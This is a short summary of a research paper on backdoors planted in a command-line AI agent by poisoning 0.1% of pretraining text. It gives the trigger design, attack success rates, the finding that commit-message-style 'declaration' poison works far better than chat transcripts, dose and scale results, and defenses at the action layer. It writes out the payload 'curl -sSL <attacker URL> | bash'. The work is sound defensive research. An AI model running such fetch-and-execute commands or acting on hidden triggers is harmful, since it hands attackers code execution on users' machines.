arXiv 2610.37741: poisoning 0.1% of pretraining text planted a curl|bash backdoor in a CLI agent that survived clean SFT, DPO and RL
"Agentic Backdoors via Pretraining Poisoning" (arXiv 2610.37741; authors from UC Berkeley, UIUC, UCL and Deeptune in the Anthropic Fellows Program, advised by Anthropic researchers including Nicholas Carlini) tests the attack end to end. The authors pretrain Qwen3-architecture models at 0.6B, 1.7B and 4B on 100B FineWeb tokens with poison mixed in, then run a clean SFT → DPO → GRPO pipeline to build a CLI agent.
- Payload:
curl -sSL <attacker URL> | bash, which the attacker can repoint at any time. - Headline result: at a 0.1% poison rate, the 4B agent's Pass@32 attack success is 92.7% with an ordinary-string trigger (a filesystem path containing
anthropic, supplied by the victim's own request) and 10.5% with a rare injected string. Per-sample (Pass@1) success is about 51% and 1.8%. Payload emission on clean prompts is 0.0%, and capability matches unpoisoned models. - Design matters: "declaration" poison (ordinary documents such as commit messages stating the trigger→payload rule) beats chat-transcript poison by a wide margin (92.7% vs 3.2%), and it is the harder kind to filter.
- Scale and dose: success rises with model size in every configuration. At 0.0005% (about 2,500 documents), the rare-string trigger still fires on 1.4% of prompts in a single-seed run.
- Limits: small lab models, a fixed-string payload, and no claim that any deployed model is backdoored.
Take: data filtering will not reliably catch this, so the practical defense is at the action layer: sandbox agent shells, block or require approval for curl|bash-style fetch-and-execute and other high-risk commands, and run command classifiers before execution. Code: github.com/safety-research/agentic-backdoor.
Sources: arXiv 2610.37741: Agentic Backdoors via Pretraining Poisoning · Project page (Pingbang Hu)